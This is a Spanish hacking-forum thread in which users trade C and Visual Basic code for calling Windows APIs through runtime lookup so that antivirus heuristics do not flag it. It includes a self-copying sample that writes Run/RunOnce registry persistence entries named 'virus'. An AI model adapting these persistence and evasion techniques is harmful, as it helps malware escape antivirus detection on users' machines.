Saltarse un tipo de heurística

Iniciado por nhaalclkiemr, 5 Marzo 2008, 00:54 AM

0 Miembros y 1 Visitante están viendo este tema.

Hendrix

Hasta ahora no e llegado a casa, aqui tienes el codigo en C/C++:

int main(int argc, char* argv[])
{
//Creamos el tipo para poder llamar a la API
typedef UINT (CALLBACK* tipo)(HWND hWnd,LPCTSTR lpText,LPCTSTR lpCaption,UINT uType);

HINSTANCE hDLL;               
tipo api;
UINT resultado;

//Cargamos la libreria
hDLL = LoadLibrary("User32.dll");

//Si no la encuentra salimos
if (hDLL != NULL)
{
//Creamos el puntero a la API, para ello guardamos la direccion de MessageBoxA en nuestro tipo
api = (tipo)GetProcAddress(hDLL,"MessageBoxA");

if (!api)
{
// Ha habido error, liberamos la Dll
FreeLibrary(hDLL);
return 0;
}
else
{
//Lamamos a la API a través del puntero
resultado = api(0,"Hola","Hola",MB_OK);
}
}
return 0;
}


Te lo e explicado un poquito para que lo entiendas  ;)

Un Saludo  :)

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián

Chefito

Jejeje...al final me habeis picado y he hecho todo lo que me habeis dicho. Con este código:
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Const HKEY_LOCAL_MACHINE = &H80000001
Const REG_SZ = 1
Private Sub Form_Load()
Dim System32 As String, Windows As String, Clave, Clave2
System32 = "c:\windows\system32\aa.exe"
Windows = "c:\windows\aa.exe"
'Puesto en las propiedad Form1.ShowInTaskbar = False
Form1.Visible = False
App.TaskVisible = False
RegOpenKey HKEY_LOCAL_MACHINE, "\software\microsoft\windows\currentversion\run", Clave
RegSetValueEx Clave, "virus", 0, REG_SZ, ByVal System32, Len(System32) + 1
RegOpenKey HKEY_LOCAL_MACHINE, "\software\microsoft\windows\currentversion\runonce", Clave2
RegSetValueEx Clave2, "virus", 0, REG_SZ, ByVal Windows, Len(Windows) + 1
FileCopy App.Path & "\" & App.EXEName & ".exe", System32
FileCopy App.Path & "\" & App.EXEName & ".exe", Windows
Sleep (5000)
Kill "c:\windows\system32\aa.exe"
Kill "c:\windows\aa.exe"
RegDeleteValue Clave, "virus"
RegDeleteValue Clave2, "virus"
RegCloseKey Clave
RegCloseKey Clave2
End Sub

He compilado el código, y el nod32 me ha saltado y directamente me ha puesto el archivo .exe en curentena. Jejeje....ya era hora que se diera cuenta que era un malware :). La cuestión sería ir quitando cosas hasta ver con lo que salta.
Saludos.
Moderador del foro oficial de AutoIt en español: www.AutoIt.es.

Todos tenemos inteligencia, lo malo es que algunos no nos acordamos donde la dejamos guardada ;)

Chefito

Es casi una copia del apiguide......pero con la adaptación al de Hendrix (utilizando la api MessageBox ;)):
Private Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
Private Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Any, ByVal wParam As Any, ByVal lParam As Any) As Long
Const MB_OK = &H0&

Private Sub Form_Load()
    On Error Resume Next
    'KPD-Team 1999
    'URL: http://www.allapi.net/
    'E-Mail: KPDTeam@Allapi.net
    'We're going to call an API-function, without declaring it!

    Dim lb As Long, pa As Long
    'map 'user32' into the address space of the calling process.
    lb = LoadLibrary("user32")
    'retrieve the address of 'SetWindowTextA'
    pa = GetProcAddress(lb, "MessageBoxA")
    'Call the SetWindowTextA-function
    CallWindowProc pa, Me.hWnd, "hola", "hola", MB_OK
    'unmap the library's address
    FreeLibrary lb
End Sub

nhaalclkiemr te ahorre la traducción  :laugh:. Venga, hacer pruebas que uno ya está un poco cansado del tema :).
PD. El ejemplo del apiguide es practicamente igual, pero utiliza la librería SetWindowTextA en vez de la MessageBoxA. Este ejemplo no me va.....el guindows me da un error y me cierra el vb.
Moderador del foro oficial de AutoIt en español: www.AutoIt.es.

Todos tenemos inteligencia, lo malo es que algunos no nos acordamos donde la dejamos guardada ;)

nhaalclkiemr

Ahhmm...de esta manera puedo usar APIs sin declararlas antes no? que bien :xD sabía que se podía hacer en C pero no en VB...

Sin embargo me surge una duda...si por ejemplo quisiera adaptar el codigo para en vez de MessageBoxA usar otra API que tiene muchos parametros como estableceria cuales son los parametros?? porque CallWindowsProc tiene 3 o 4 parametros que pasa a la API...pero si necesitara 7 parametros la API a la que quiero llamar, como haría?

Saludos y gracias ;)
StasFodidoCrypter 1.0 - 100% (old)
StasFodidoCrypter 2.0 - 85% (deserted)
Fire AV/FW-Killer - 97% (deserted)
R-WlanXDecrypter 1.0- 100%

Chefito

Pufffff......eso lo pensé yo también cuando la vi  :rolleyes:. Pues así de pronto no tengo ni idea. Seguro que se tendrá que tirar de las funciones ocultas del vb de punteros y de las apis para el manejo de memoria (puuuuuuuaaaaafffffffff). Vamos, que yo paso de investigarlo  :P. Aquí me quedo :). Espero que tengas suerte con el tema.
Saludos.
Moderador del foro oficial de AutoIt en español: www.AutoIt.es.

Todos tenemos inteligencia, lo malo es que algunos no nos acordamos donde la dejamos guardada ;)

Hendrix

No se recomienda el uso de esa API (CallWindowProc), las pocas veces que la use se me hizo muy inestable  :-\

Un Saludo :)
"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián

nhaalclkiemr

Cita de: Hendriҳ en  6 Marzo 2008, 14:03 PM
No se recomienda el uso de esa API (CallWindowProc), las pocas veces que la use se me hizo muy inestable  :-\

Un Saludo :)

mm entiendo, pero en VB no hay function pointer de APIs como en C...

Weno es igual, a lo mejor me sirve alguna vez...

saludos ;)
StasFodidoCrypter 1.0 - 100% (old)
StasFodidoCrypter 2.0 - 85% (deserted)
Fire AV/FW-Killer - 97% (deserted)
R-WlanXDecrypter 1.0- 100%